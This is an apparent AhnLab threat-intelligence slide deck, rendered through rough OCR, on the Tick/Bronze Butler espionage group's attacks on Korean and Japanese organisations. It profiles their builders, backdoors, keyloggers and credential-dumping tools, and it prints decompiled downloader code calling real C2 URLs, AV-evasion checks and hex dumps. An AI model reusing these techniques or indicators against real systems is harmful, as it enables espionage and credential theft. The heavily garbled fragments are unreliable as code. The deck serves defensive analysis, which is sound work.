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Activity Threat Actors in South Korea AhnLab

2008 2009 2010 2011 2012 AN 2014 PAVKES 2016 2017 2019

e e game Lazarus

Andariel / Labyrinth Chollima (Rifdoor, Ghostrat, Phandoor, Andarat)

Hidden Cobra / Silent Chollima (Escad, Loader)

Tick / Bald Knight / Bronze Butler / Nian / RedBaldknight

Tonto / CactusPete / LoneRanger / Karma Panda

RedEyes / APT37 / Reaper / Group 123 /
Ricochet Chollima / ScarCruft
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Tick (Bronze Butler, RedBaldKnight) Group AhnLab

» Tick cyberespionage group (2016)

- Tick == Bronze Butler == RedBald Knight == Nian
v Symantec Of

Tick cype CYBER GRID VIEW Vol.2 Englist

Compromised !

/2 Jon_DimMaggio [li

THREAT ANALYSIS

BRONZE BUTL
* Japanese Ente

e

28 Apr 2016

B G

o

N '&J—.z,;
Secureworks® Counter Threat L

THURSDAY, OCTOBER 12, 2017
BY: COUNTER THREAT UNIT RESEARCH TEAM

Contributor: Gavir: w awurrirains

Home Malware REDBALL SHT/BROMNZE BUTLER's C

REDBALDKNIGHT/BRONZE BUTLER's Daserf Backdoor Now
Using Steganography

Posted on: November 7, 2017 at4:34 am Posted in: Malware, Targeted Attacks, Vulnerabilities
Author: Trend Micro

00D®O0O

by Joey Chen and MingYen Hsieh (Threat Analysts)

REDBALDKNIGHT, also known as BRONZE BUTLER and Tick,
is a cyberespionage group known to target Japanese
organizations such as government agencies (including
defense) as well as those in biotechnology, electronics
manufacturing, and industrial chemistry. Their campaigns
employ the Daserf backdoor (detected by Trend Micro as
BKDR_DASERF, otherwise known as Muirim and Nioupale) that
has four main capabilities: execute shell commands, download
and upload data, take screenshots, and log keystrokes.

* Source : https:/Amwv.symantec.com/connect/blogsftick-cyberespionage-group-zeros-japan & https:/Awwv.lac.co.jp/englishireport’2016/11/04 _cgview_01.html
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Relevant malware found in Korea since 2008

© E

4 )\ )
TARGET I'NCIKK Attack Vectors
Defense Industry )| MND )| Political Organization ) Energy ‘[Eﬁ“!g'l) Spear Phishing Watering Hole

\NIET

Electronics Manufacturing Security Web hosting IT Service Red BaIdKnight USB Flash Driver Vulnerability in asset

management program

Customized attacks in Korea and Japan Many variants of Malware Generators Obstruct analysis tool (IDA Hex-Rays)
decompiling via the inclusion of trash codes

Registers the attack domains shortly before Many malware are written in Delphi language Generates a file larger than 50MB to avoid
the attacks detection by security programs



Cases of Major Attack

T ™

Mar. 2014

Jan. 2015

Apr. 2015

May 2015

Feb. 2016

Jun. 2016

Sep. 2016

Korea - Defense
Industry

Korea - Major
Company A

Korea - ?

Korea - Major
Company B

Korea - Marine
Industry

Korea -
Telecommunications
Company

Korea - Energy
Industry

Attacked with Netboy variant;
Multiple infections by the same variant reported in Korea

Attacked with Bisodown variant
Modified the EXE file in the USB Memory

Attacked with Netboy variant

Attacked with Daserf variant;
Identical with Daserf malware found at the Korean telecommunications
company in Jun. 2016

Attacked with Daserf variant

Attacked with Datper variant

AhnlL3ab



Cases of Major Attack AhnLab

| Date | Target | Details

Apr. 2017 Korea - ? Attacked via a Korean secure USB reported by Palo Alto Unit 42 in 2018

Attacked with a variant of Bisodown With national defense documents
shown as bait, national defense officials are assumed to have been the
targets

May 2018 Korea - Political Attacked with Bisodown
Organization

Aug. 2018 Korea - National Attacked with Bisodown variant;
9 Defense Variant found with Keylogger, named Linkinfo.dll, on the infected system

Sep. 2018 SOIEE) © Ol Attacked with Datper variant
Organization

Korea - Supposedly

T AU National Defense

Jan. 2019 Korea S—elcnjﬁgnatlon Attacked with Datper variant reported by JPCERT in Feb. 2019
Korea - Web Identical with the malware found at a Korean information security compa
Jan. 2019 : :
Hosting ny in Jan. 2019
INPTILR <Orea - Electronic Attacked with Datper variant reported by JPCERT in Feb. 2019
Components

Attacked with Datper variant;
Feb. 2019 Korea - IT Service Identical to the malware that attacked a Korean electronic component
manufacturer in Feb. 2019
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Builder - NForce

AhnlL3ab

 Nforce 11-02v1.0

- Malicious PDF created
- CheCheCheChe2010 Prototype

B8 NForce 102 16

@ Blexe/stAST
g

O Bl

JREDFNf:

i AR

RS :

|%t emp

#= CheCheCheChe2010

o LlexeFe 34T
S 532F -

O plaFRIAT

|I | il |
[EPDFIL%: -

] R
A BRAOZL A3 -

l

5543:

l

SEEMREE:

l%temp%

HRiH




Builder - AntiAV AhnLab

= Anti 1.03

e Anti 1.03
- AntiAVvV

SRS WEEiREE  |anti

FTR exeig |te5t.exe

*3we | ]
Fenerate

08@10CD@ 2 3 52 A ririrrrr % H

.00010CE® : " : : . : ; - ( _STRING *)v3[9];

e LEpsamoREMSR K

q y g y RtlUpcaseUnico ch 'ulg(( UNICODE_STRING)&DestinationString, v4 + 6, 1u);
888}88%8 ' : Ef ( wcsstr(De ationString.Buffer, &word 1904&) )

888}8328 30 . B 3 00. ] if ( wesstr(DestinationString.Buffer, &word 10D36) )

' : A : - return 17;

88818050 _ E ) _ if (t'.-;cssg‘_.;(:rf—:&:i:"a‘;i._r:';vi‘;'.":;;.Buffer, "A"Y) )
.00010D60 : : , ' . 3 e

.08016D70 : 9 JY . N . JY . :1 wesstr(DestinationString.Buffer "AHNLAB"
00010080 | . | Stion % i
.BBR168Dh9A - . : : . if ( wecsstr(DestinationString.Buffer, L"HAURI") )
.80010DAB : = . 2 . . t s "
0801008@ - 30 5 i 00 N 1frétuin ;9( inatienString.Buffer, &word 10CFA) )
888%88%8 . . . if ( wesstr(DestinationString.Buffer, &word 18CDE) )
. : : - - : retur'n 58;

.B0010DED : 3 . ) : . }

OBB10DFB - g j 30 . 30 . B0 ; ) Rt1lFreeUnicodeString((PUNICODE_STRING)&DestinationString);




Controller - Netboy

AhnlL3ab

* NetBoy 1.21 (2011)

- Builder/Controller

 EE————————————
ZiHF TAM =EH)
@ EGEEEVE T @Y 4

EERE
wwsO: W o [ v |
ERP [ AP [ 2P | e ® ETE L= [0 [ [stemes  [wesiti  [igden) [ Socket[ &%
3
SEEEE0
- Q b4 = = >
w — — ==
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Controller - Xxmm

AhnlL3ab

« Xxmm v1.0 (2014)

- Filename : ghOst.exe

#. Untitled - ghlst

Jgerver Platform Target File CmdShell SynchroShell Access-Time Configure Help

Mo, Outer IP Systern 1D Latest Visited Ti... PHP Interval Time /(... JPG Interval Time /(...  Inner IP Computer Mame 08 Infarmation CPU
0 xxmm, Yersion 1.0
'& Copyright (C) 2014
< >
Output o X
'Fleédy... [

1] 4] »] »["Real-time Log /

Ready

© AhnLab, Inc. All rights reserved.

13



Controller - Xxmm Ahnlab

- NetShadow v1.0 (2015)

B NetShadow - v1.0
}gerver Platform Target File CmdShell SynchroShell Access-Time Configure Help

Mo,  Quter IP Systemn ID  Latest Visited Ti.,,  Priviledge PHP Interval Time /(... = JPG Interval Time /(... Inner IP Computer Name 08 Information 6]

About NetShadow

MetShadow, Yersion 1.0

Copyright {C) 2015
& M | B
Qutput X
Ready..,

4] 4] »| v\ Real-time Log /

Ready

© AhnLab, Inc. All rights reserved. 14



Builder — Xxmm2 Steganography AhnLab

« XXmm?2_steganography.exe (2015)

B :zxmm2_steganography

Source file: |- igin.j
{ itestMorigin.jpg 1 Select

Destination file: |c:¥testtest.jpg ] [ Select J
Parameter
[ [
Start Flag: Exxmm ] End flag: |mmxx ‘
ServerID: |al l RequestID: |2019031116:01:34 \
Function

Download Exec: () Radiol I

Change URL: (%) Radioz lhttp:ﬁlo. 10.10.23/phptunnel.php |

Other:  (ORadio3 ’ [ Select J

Cancel




Builder = Xxmm?2 AhnLab

« xomm2_build (2015)

_ Module
“r . Kernel Module: ¥xmm2.exe
Loader Template: loader.exe
Common R S P —_—
Kernel Template: ey, 6ve]
Step 1: Configur = Modle
RSAEncryptkey: server.pub.key
- ° Setup Module %36: setup.exe
RSADecryptkey: client_pri,key
Step 2 Cnnﬁgml -
Yersion! 1.0
Time From: 0 To: 24 ,
Step: 3 Generati| Setup Module X54: setup.exe
ipa Tunnel

jpaTunnel URL: http://10,10,10.23/test jpg

Trojan Template: loadSetup.exe

Time Intervalims):  jo00000 Start Flag:  wxmm End Flag

php Tunnel

phpTunnel URL:  http://10,10,10,23/phptunnel, php

Destination File Path: ShadowwWalker 1.0_Server.exe

Time Interval(ms): 3000 Split Length(byte): 4194304

Destination File: xumme exe Sele

Destinaiton File: setup.exe



Builder - ShadowDawn AhnLab

 ShadowDawn (2016)

- flename : wali_build.exe, shadowDawn.exe

PR — e o D =

URL: http:/f10.10.10. 23/shadowDawn,s.ph Refresh
shadowDawn ttp: i /s.php

Kernle

Command IP List of
URL1: %http:ﬁw.w.10.23!shad(
@
URLZ:  httpiff10.10.10.23/52.b> @) Execute EXE
Build Dod URLS:  |httpiff10.10.10.23/s3.bx k

TimeFrom: |3 J Timeto: ) (7) Execute Encdl

Generatg

Setup o ] (7) Change Time
Reghlame: isunUpdate

Control i
() Uninstall

FilePathMormal: Wﬁ‘iﬁtern

|
; . |Yesystemroot ¥ isyste
FilePathadmin: | requesti:  2(

Single Instance: }'159537

Destination: ‘

R 1P White i i - .
Destination Path: de i Command Will Execute Faor Host In White Host List Which has Got

Cancel

Getlst | | Putlist

GetCommand] ’PutCommand Get List ] ’ Clear List




Controller - NetGhost AhnLab

- NetGhostv2.1 & v.2.41 (2017)

- Some Variants Protected with Password

1" Mode Activation Dizlog

Connet(C)

ption(0) View(V) About(A)
| Netw... | WanIP [Lan P

| HostName/Comment | OS | CPU/Disk/Memory | Ping | Vid... | Antivirus Soft | Location

Enter Maode Pazsword:

a L

Connet(C) Option(@) View(V) About(a)
MNetw.. | Wan IP | Lan P | HostName/Comment | OS | CPU/Disk/Memary | Ping | Vid_. | AntiVirus Soft

i B’
About NetGhost V2.1 [

’
About NetGhost V2.41

Modified From GhOst 3.6
Modified From GhOst 3.6

WWW.0X.com

| WIWWLIC.COmM |

+]

Ll
Batch Control | Server Create | Settings | IP Updatel Ll

-
I
-~

Send Message/Execute Command

By:XHX | < |
Title I‘u‘u"arning - — _ e com |Hide Batch Control IServer Create | Settings | 1P Update | User and Proxy |
~Send Message/Execute Command - - -Browse URL— —
Content I Ml Download & Execute Title |Warning IAsk Ll URL: Ihttp://www.google.com ]Hide L] Send
Logoff | Reboot | PowerQff Uninstall | ClearLog | JRL® |ann Load ;l content | Send MSG Downlad B Execite
Logoff | Reboot | PowerOff | Uninstall I ClearLog I URL: I IDownLoad j Send
127.00.1 |S: 0.00 kb/s R: 0.00 kbys |Port: 80 : :

§1127.0.0.1 |S: 0.00 kb/s R: 0.00 kb/s \Port: 80 |Connections: )
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Malware related to Tick Group AhnLab

2008 2009 2011 2012 AN 2014 PAVKES 2016 2017 2018 2019

Bisodown (Cpycat, HomamDownloader)

Datper

Xxmm (KVNDM, Minzen)




Bisodown (Cpycat, HomamDownloader) AhnlLab

» Bisodown (Cpycat, HomamDownloader)

- Discovered between April 2014 — Feb. 2019
- Downloader =» Used by Tonto Group

00404010 : . . . msserver
.D0404020 . . .

0404030 :
.DB4040B40
.DB4R4050
.DRL0L060
.DB4R4B10:
.DR404080:
00404090
.D04040AB
.DB4040BA
.DB4R4BCAH:
.DB4040DA
.DO4D4LOED:
.DRL04L0FA:
00404100
00404110
00404120
00404130
00404140
.B04R4150:

1Ces . exe

DEE PR ( »A
=/= Content-Type
- =fx hitp://w
ww.s1tclogl.co.]
p/common/1inc/xml
s.php  adwpack.
dll IsNTAdmin

% ProgramFiles
Dir SOFTWAREMAMic
rosof t\Windows\C
urrentVersion
\Microsoft MApp
lications #USE
RPROFILEY  MAcc
essorilies Wind
ows NT " hd

: User Agent

ntVersion\Intern
et Settings osof




Ghostdown

AhnlL3ab

» GhostDown

- Discovered between Feb. 2013 - Feb. 2018
- Encrypted strings , such as API address, C&C degree etc. (Generally XOR OxDF)

00405090
.004050A0:
.004050B0:
.004650C0:
00405000
.004050E0:
.004050F0:
.00465100:
.00405110:
.00465120:
.00405130:
00405140
.00405150:
.00405160:
.00405170:
.00405180:
.00405190:
.004651A0:
.004051B0:
.004051C0:
.004051D0:

60 0

AR
"9 000050A0:
'n 000050B0:
‘g 000050C0:
‘5, 00005000 :
‘£ 000050E0:

000050F0:

. T Bt T T S

.AB EC 12 66
.96 31 64 73

78

63 00000080
o3 0000C090
49 0000COAD
'6F 0000COBO:
' 6F 0000C0CO:
5 0000C0D0 -
% 0000COED:
79 0000COFO:
.3F 0000C100:
46 4F 39 26
.00 00 00 00

AR AR A2 AR AR/ AR

6C 6F 77 6D.
70 6F 69 Z2E.
30 08 80 /C.
48 EC 12 00.
43 00 30 00.
30 C9 D6 11.

B R R T e T ST

34 87 D1 77
'35 50 22 51

2Q.9%Q_an AL _ .

00 .
00 .
60.
66.
00 .
00 .
00.
00.
00 .

08
80
6C
2E
30
98
98
28
B0

00
00
6F
73
00
F7
F7
D2
EC

00
00
1
6F
11
60
60
61
12

2F 31 45 53 6aJi:=wF098/1ES
.00 00 00 00

"

61
63
01
60
oC
0d

ﬂB.S

wFRNACLQ..

02
20
61
T4
00
08
48
D&
00

-

1]
00
69
66
00
]1]
62
EB
411

00
00
6E
69
60
D&
62
12
00

;]
69 oF 00.
19 64 69.
00 00 00,
EE 12 60.
0o 57 60.
00 00 00,

a=1

00.
00.
00 .
18.
00.
00.
00.
00.

00

f

3A 66
13 6B
02 60
oB D5
F6 68
1C EC

heTw
KhL9V1ds5Z27(

Ce Y.,

B4
40
3A
2E
60
0B
EO
E8
28

1]
00
]1]
63
D2
1Y)
CB
2C
D2

lowmain : www .
pol.cydisk.net:8
B Gl 8 L=l

H=! "€l [ rescres

-\ W +hlsD 0

O Frw cwl %=l

owmain blog
.softfix.co.kr:8
" "1a “z{u
"B ¢ Us{u
="' Hbb ota B
Hra 51 2,6w'Ta



Ghostdown AhnLab

 Created Domain at Certain Websites

- dnsever etc.

dnSE VE’_ Web-based DNS Service - DNSEver

[ Welcome to www.poi.cydisk.net! ]

TOKEN PRE-SALE
@ PROB | T excuance

1
B www.poi.cydisk.net domain is a subdomain provided by DNSEver. [ we‘.mme to www'kOt'gOEOblog'nEt' ]

Web-based DNS Service - DNSEver

If this page is displayed even though www.poi.cydisk.net was visited, the reason corresponds to one of the following.

# Corresponding domain does not exist or the corresponding website has been shut down.

* Application of the DNS setup has not been completed even though the domain manager carried out DNS setup at DNSEver. g P R o B | —|— TO K E N P R E - SA L E
(For this case, page will be displayed properly if you revisit after waiting for some time.)
EXCHANGE 10% B
o bONUsS

DMSEver only provides DNS service for the above domain, thus we have no relation to the contents and web service provided by the corr
esponding domain.

If you want to use the subdomain of cydisk.net, please visit us : www.DNSEver.com.

@ www.kot.gogoblog.net domain is a subdomain provided by DN SEver.

© 2019 DNSEver.com. All Rights Reserved.

* Source : DNSEver.com



Gofarer

AhnlL3ab

» Gofarer

- Downloader
- Digital Signature Details : Does Heruida Electronic Technology Exist?
- Infection found Only in Japan

CreateMutexA (@, 1, Name); // e511fe20-e960@-4b31-a8ab-20837720b0f7
if ( GetLastError() == 183 )
return @;
strcpy(&URL, "http://www.aucsellers.com/rim/images/01/js/js/index.php”);
memset (&3, @, Ox90u);

v4 = time(0);

setRandom_421B3@(v4);

GetModuleFileNameA (@, &Filename, ©x104u);
memset(&pszPath, @, @x184u);

result = SHGetSpecialFolderPathA(@, &pszPath, 7, 0);
if ( result

lstrcatA(&pszPath, String2);
CopyFileA(&Filename, &pszPath, 1); |
while ( 1)

// \\Gofarer.exe

Download_4010F@( (int)&URL);
v5 = time(@);
setRandom_481B3@(v5);
Sleep(l8e0000u);
}
}

return result;

Digital Signature Details

=% Digital Signature Information
Xﬁ/f This digital signature is OK.

Signer information

Name: eruida Electronic Technology Co., Ltd.
E-mail: INotavaﬂabb
Signing time: l Tuesday, August 04, 2015 10:14:44 AM

[ View Certificate

Countersignatures

Name of signer: E-mail address: Timestamp

WoSign Time Sta... Not available Tuesday, August 04,...

Details

-




Daserf (Muirim, Nioupale, Postbot) AhnLab

* Daserf (Muirim, Nioupale, Postbot)

- First discovered in 2009 (in Apr. 2011 in Korea)

- Mostly 30-40 KB (Some are 100 KB or more.) Versions exist in Delphi scripting language and C language
- Main functions: View file lists, execute commands with cmd.exe, Upload/Download/Delete/Execute/Uninstall files

- C&C information encrypted at the version information and the end of the file

%ggﬁ%%gg: ] . . %H8H\ Fsid.dat
. : . . . Wt tp=
jiggﬁ%gfgg . . : *13841290- . . . vd ProxyServer

.13841050:
.13841060:
.13841070:
13841080
.13841090:
.138410A0
.138410B0 :
.138418C0:
.138418D0:
.138410E0:
.138410F0:
13841100
.13841110:
.13841120:
13841130
.13841140:
.13841150:
.13841160:
13841170
. 13841180

' 13841200
. 138412B0:
+138412C0:
' 138412D0:
138412F8:

st N alats)

. 13849FF0:
‘ 00008000 :
. 00008010 :
| 00008020 :
« 00008030 :
« 00008040 :
- 00008050 :
00008060 :
¢ 000080/0:
00008080 :
00008090 :
: 00008006 :
" 000080B0:
000080CH:
- 00008000
000VSOED:

ProxvEnable

SoftwareZMicroso
Tt\Windows\Curre
ntV¥ersion\sIntern
et Settings Uers

4 n

X TafaéfDif1~=

FBS&F%%%
1=: 0764+ 0406394
+6 8r=11% + L. .=
+i k884 =
% H=: 076=+6+0=63
9& 6r8 ll”+LL
—|rl‘| LB&
M==6F7:+29:8
__”_?1 ]_J-ﬂ.Jr L L
+n 1E
UatpigDifi=




Netboy (Domino, Invader, Kickesgo) AhnLab

* Netboy (Domino, Invader, Kickesgo)

- Actively discovered after 2010; Initial version of DLL format discovered from Korea in 2008
- Whitten in Delphi language
- Encrypted major strings into XOR 0x7C

1318FE94 xor@x7C_1318FE94 proc near ; CODE XREF: MalwareMain_1319@EE8+5Alp
_Ini =T 1318FE94 ; MalwareMain_13190EE8+84ip ...
Injected within the process, such as Explorer.exe i
. . . . . 1318FE94 var 4 = dword ptr -4
- Conduct functions including keylogging, screen capture, process list, and progtisiseesa <
1318FE94 push ecx
- Code change (2012) =» Disrupted analysis by adding garbage values (2013) 1315 .- s A et
1318FE9A mov eax, edx
1318FEIC dec eax
1318FE9D test eax, eax
1318FE9F jl short loc_1318FEAD
1318FEAL inc eax
1318FEA2
1318FEA2 loc_1318FEA2: ; CODE XREF: xor@x7C_1318FE94+17!j
1318FEA2 mov edx, [esp+d+var_4]
1318FEAS xor [edx], cl
1318FEA7 inc [esp+a+var_4]
1318FEAA dec eax
1318FEAB jnz short loc_1318FEA2
1318FEAD
1318FEAD loc_1318FEAD: ; CODE XREF: xor@x7C_1318FE94+B1j
1318FEAD pop edx
1318FEAE retn

1318FEAE xor@x7C_1318FE94 endp
1318FEAE



Ninezero (9002) AhnLab

* Ninezero (9002)

- Discovered between 2012-2013

- Dropper 70 KB =» Backdoor DLL 33 KB
- Distinctive export function exists in the DLL file

Ordinal Function RVA | Name Ordinal | Name RVA Name
(nFunctions) Dword Word Dword sZANsi
00000001 00001820 0000 0000253F InitFunc
00000002 00001800 0001 00002548 Launch
00000003 00001ADO 0002 0000254F ServiceMain

- Netboy also found in some systems



Xxmm (KVNDM, Minzen, ShadowWali, Wali, Wrim)

AhnlL3ab

* Xxmm (KVNDM, Minzen, Murim, Shadow\WVali, Wali, Wrim)

- First discovered in 2015, Actively used from 2016 (Initial version includes xxmm  string)

- Initial version include a distinctive PDB  ‘C:\Users\123\Desktop\shadowDoor\Release\loadSetup.pdb’ -> Excluded after Dec. 2015
- Consists of a Dropper, Loader, and Backdoor

- Created files larger than 50 MB

- Encrypted communications via one-time AES and RC4 key, active only at specific imes

.004150E0:
.004150F0
00415100
00415110
00415120
00415130
00415140
00415150
00415160
00415170
00415180
00415190
00415100
.004151B0:
.004151C0:
00415100
.004151E0:
.004151F0:
00415200
00415210

osition :try!Mde
l UM exist

" goto trylf

del %0 xxmm
.bat ntdll.dl
1 Rtl1Decompres
sBuffer ==

bad exceptio
n H

|
RSDSEY | ¥&asUOE{F+
ITHY C:\Users
\123\Desktopisha
dowDoor\Release\
loadSetup.pdb



Xxmm (KVNDM, Minzen, ShadowWali, Wali, Wrim)

AhnlL3ab

o XXmm

S

1. Drop

A 4

Loader

Encrypted
Data

Dropper

2. Drop

»
L

Downloader
/ Backdoor

R

3. Execute
in the Memory

4. Check Time

Downloader

/ Backdoor




Datper AhnLab

* Datper void __ noreturn start()
1
- Discovered between 2015 — March 2019 int ve; ; ﬁ ecx
int vl; 2CX
- Wiritten in Delphi scripting language void *v2; // ecx ) _
unsigned int v3; // [esp-Ch] [ebp-24h]
-Active in Korea and Japan int v4; // [esp+4h] [ebp-12h]
int savedregs; // [esp+18h] [ebp+8h]

- Garbage values embedded in the middle of the code
‘-_'Q’- - 9;

- Keylogger, Mimikatz found in the infected systems sub_48587@();
v3 = _ readfsdword(@);
__writefsdword(@®, (unsigned int)&v3);
unk_4161AC += 417234910;
unk_4161AC -= 1635103131;
unk_4161AC -= 205798363;
unk_4161AC -= 727338489;
unk_4161AC += 263591107;
unk_4161AC -= 586380791;
sub_4067F8(v@, &v4, v3, &loc_411173, &savedregs);
sub_4@49B8(v1, v4);

+

*off 412894 = 1;
*off_412840 = 1;
*off 412840 = 1;

sub_48EA98(v2);
__writefsdword(9, v3);
sub_48465C(&loc_41117A);
sub_404434();



Keylogger A (2011) AhnLab

* Keylogger A (2011)
- Discovered between April— May 2011
- File name: keyll.exe
- User input key content saved in c:\windows\log.txt

- Daserffound in the infected system

[u—

00404150
00484160 :
00404170
00404180 :
00404190
.004841AR0:
.004041B0:
.004041C0;
.804041D0:
.B04B4L1ED: : : : @ !
.B04041F0: : : ; % HhC  HCHC
00404200 . . : hehshehehs  #02d
00404210 : ) : . -%02d %02d:%02d:
00484220 : e . : . %02d a+t \sen
00404230 : : : : . / dscfg.dll

TI—NVIZTCOOD

D OVDDOTITIITM

[— — M
RMOrmr- -~
o S ) ceosnie i 1 g gt e

-
[,

?

o
ol O are, pr— p— p— p— po— p— p—

= Q0 ey e p— p— po— po— po— p—
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Keylogger B (2017~2018) AhnlLab

« Keylogger B (2017~2018)
- Discovered between 2017—2018
- File name : apphelp.dll, k6.dll, linkinfo.dll etc (40-50 KB)

- Bisodown, Datper found in infected system

.100081F0:

.10008200:

.10008210:

10008220

.10008230:

.10008240:

10008250 :

10008260 :

.10008270:

.10008280: : : : -
.10008290 10 . 6+ = Y * : ] &b

.100082A0 :
.100082B0
.100082C0 :
.100082D0
.100082E0 :
.100082F0
.10068300:
.10008310:
.10008320
10008330

use r32.d

GetK eySt

ate Getfs yncK
eyS tate »USE
RPROFILE%  \App
Data \Local
\Hindows \deb
ug.log MI[%02d/
%#02d/%d %02d: %02
d:%02d]1 (%s) g




Keylogger C (2017~2018) AhnlLab

* Keylogger C (2017~2018)

- Discovered between Apr. 2017 — Feb. 2018 =» Mainly found in the Tickusb-infected systems
- File name: linkinfo.dll, netutils.dll

- Key input contents saved at Log file

.160168338: . . . Interface Hard
.10010340 : ) ) ) ware Hime
.10010350: . . . SAM SECURITY
.100108360 : . . . SYSTEM Software
160168378 : . . . TupelL1b %d
.100108380: . . . b e [ESC]
.100160390: . . . [F1] [F2]
.1001083A0 : . . . [F3] [F&l

. 100108366 : . . . [F5] [F61]
.1001683Ca: . . . [F7]

.1001683D0: : : : [F9]
.100103E0 : : : : [F11]

.100103F0 : : : :

10010400 : : : : b
10010410

10010420

.10010430:

10010440

10010450

10010460 :

1
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Scanner

AhnlL3ab

« ScanLine by FoundStone

- Filename : intelamt.tmp, l.dat, Is.tmp, msp.exe, sl-p.exe

Command Prompt

ScanLine (TM> 1.01
Copyright {(c?> Foundstone, Inc. 2002
http://uwuu.foundstone.com

sl [-?bhijnprsTUuvz]
[—cdgmg <n>]
[-f1LoO <file>]
[-tu <n>[.<n>—<n>11]
IPL.IP-IP]

— Shows this help text
Get port banners
Timeout for TCP and UDP attempts (ms)>. Default is 40068

Delay between scans (ms)>. Default is @

Read IPs from file. Use "“stdin" for stdin

Bind to given local port

Hide results for systems with no open ports

For pinging use ICMP Timestamp Requests in addition to

"

Don’t output separator bhetween IPs

Read TCP ports from file

Read UDP ports from file

Bind to given local interface IP

No port scanning — only pinging {unless you use —p>
OQutput file <{overwrite)

Qutput file {append)

Echo

-5 | 3]

Requests




Arpspoof - Hijack AhnLab

* Hijack v2.0

- Disguised as Hancom Hangul file (C:\HNC\Hwp70\hwp70.exe)
- Arpspoof Attacker

&% Command Prompt =n Bl )

usage: hijack {-LUZhefusxrkHDtNzi> <{-d dev> <-8 interval> <-I0 pcap_dump>

- normalibyline inone?> <-F file> <{-p port> <-E quit time>
{-R rebhoot time> <{-b submask> <{-m speed> {Source Host> {Dest Host>
<{match expression> <bhpf filter> | <{genuine host)> <{faked host>
s help/usage

version information

be verhose

show empty packets

ignore case

spoof interval

enabhled ip routing

to force define submask

define max transmit speed k/s

set full spoof-route mode default is half

print in alternate hexdump format

interpret match expression as hexadecimal

the port to hijack

read packet stream from pcap format file pcap_dump

dnsspoof mode

print timestamp every time a packet is matched

time to quit

time to reboot program

release demo joh file
s scan hosts in subnet

hidden from console, background mode killed /k




Credential dumping - WCE

AhnlL3ab

» WCE (Windows Credentials Editor)

- File signed with Heruida Electronic credential found (2016)

Credentials Editor> - {(c> 2010-2013 Amplia Security — by

Hernan Ochoa ¢(hernanfampliasecurity.com)

Use —h for help.
Option

List logon sessions and NTLM credentials {(default).
Changes NTLM credentials of current logon session.
Parameters: <UserName>:<{DomainName>:<{LMHash>:<{NTHash>.
Lists logon sessions and NTLM credentials indefinitely.
Refreshes every 5 seconds if new sessions are found.
Optional: —r<{refresh intervall.

Run <cmd> in a new session with the specified NILM credd

C:\work>uc64 —h

HWEC vl .42bheta (¥64)> (Mindows Credentials Editor> — {(c> 2016-20813 Amplia Security
— by Hernan Ochoa ¢(hernanPampliasecurity.com>

Use —h for help.

Options:

-1 List logon sessions and NTLM credentials {(default).
-8 Changes NTLM credentials of current logon session.

Parameters: <UserName>:<{DomainName>:<{LMHash>:<{NTHash>.
Lists logon sessions and NTLM credentials indefinitely.
Refreshes every 5 seconds if new sessions are found.
Optional: —r<{refresh intervall.

Run <cmd> in a new session with the specified NTLM crede

Parameters: <cmd>.

Lists logon sessions NITLM credentials indefinitely.
Refreshes every time a logon event occurs.

saves all output to a file.

Parameters: <filename>.

Specify LUID instead of use current logon session.
Parameters: <luid>.

Delete NTLM credentials from logon session.
Parameters: <luid>.

Use Addresses.

Parameters: <addresses>

Digital Signature Details

[ 2| (]
Gereral | Advanced

=% Digital Signature Information

i-'—?t:i' A required certificate is not within its validity period when
verifying against the current system dock or the timestamp in

the signed file.
Signer information
Mame: |HﬂumaEhctnchEdeMQyC&,Lm.
E-mail: [Not available]
Signing time: Mot available

View Certificate

Countersignatures

MName of signer: E-mail address: Timestamp




Credential dumping - Mimikatz | AhnLab

* Mimikatz

- mi.exe, mi2.exe, m3.exe, m32.exe, m6.exe, mime6.exe, mimi32.exe

@ mimikatz 2.0 alpha %86 (oe.eo) Command Prompt - mi fo]-E- )]

c :\work>mi

2220 o mimikatz 2.0 alpha (x86)> release “Kiwi en C" (N i # help =
E: SR

IERROR mimikatz_doLocal ;5 “help' command of Ystandard" module not found *?
#it ~ N\ HHE  x % %
#it \ ~ ## Benjamin DELPY ‘gentilkiwi® ¢ benjaminCgentilBModule : standard

’§u v ﬂ?’ http://blog.gentilkivi.comn/mimikatz Full name = Standard module
121212120 with 17 moduRpescription : Basic commands {(does not require module name)

™ e exit — Quit mimikatz
m R Comimand Frompt=-mic cls — Clear screen (doesn’t work with redirections, like PsExec)
c :\work>mi2 answer — Answer to the Ultimate Question of Life, the Universe, and
Everything
fnimi # help coffee
ERROR mimikatz_doLocal ; "help" command of “standard" modul sleep
1o
Module : standard baseﬁg
Full name = Standard module version
Description : Basic commands {(does not require module nam| cd
localtime
exit — Quit mimikatz hostname
cls — Clear screen (doesn’t work with redire
answer — Answer to the Ultimate Question of Liffmimi # version
Everything
coffee Please, make me a coffee!? mimi 2.1.1 {arch x86)
sleep Sleep an amount of milliseconds GQuit mimikatz=

log Log mimikatz input/output to file Clear screen ¢doesn’t work with redirections. like PsExec)

haseb4 Switch file output/base64 output Anzwer to the Ultimate Question of Life. the Universe. and
version Display some version informations

cd Change or display current directory *
markruss Mark about PtH please, make me a coffee!

Sleep an amount of milliseconds
Log mimikatz inputsoutput to file
Switch file input-soutput basebd
Display sone version infomnations
Mindows NI 6.1 build 72681 Carch x64) — Displavs sysztem local date and time (0J command>
hosztname Displavs system local hostname

Please. make me a coffee?

Sleep an amount of milliseconds

Log mimikatz input/output to file

Switch file input/output bhasebt4

Display some version informations

Change or display current directory

Displays system local date and time <0J command>
Displays system local hostname

sl sl 1l

imi # version




NetTool | AhnLab

* NetTool (1,051,648 ~ 4,168,192 bytes)

- Initially discovered in early September, 2018

- Major file names : comhost.exe, conhOst.exe, dilhOst.exe, dt.tmp, spoolsv.exe, taskhOst.exe, w3wp.exe
-0.10 alpha: 32 bit, 1.34 : 64 bit TRy S T

. — —action string
ﬁé;;gpggtzggﬂﬁggéfzie: help cis: for client to control server. if action is socksb.remote is socksh
—action string server, if is addr like 127.8.8.1:22, remote server is a port redirect server. c
for client control server, if action is socks5,remote is 2N use "udp:" ahead,"route" is for transparent socks, client default socks5. se
if iz adde like 127.8.8.1:22. remote Sepuer is a port redirect =zevel default empty.if server’s action is not empty. it will force clients’s actio

- ] -
udp:" ahead, "route’ iz for transparent socks (default “socks5''» n—seru§r g action
—auth ztring —auth string

key for auth cs: key for auth
—cache —cache

¢(valid in socksb mode}if cache is true.save files regues| —F c: reverse mode, if true, client
hod into caches dir.cache request not pass through server side.n server 5145
tps —routen int
—debhuy int c: threads<os—threads? num for route mode to parse real-addr <default 12

more output log . .
—dnscache int —service sﬁglzg dde £ Lient .
S g pELEL R el Rt S T " . cs: listen addr for client connec
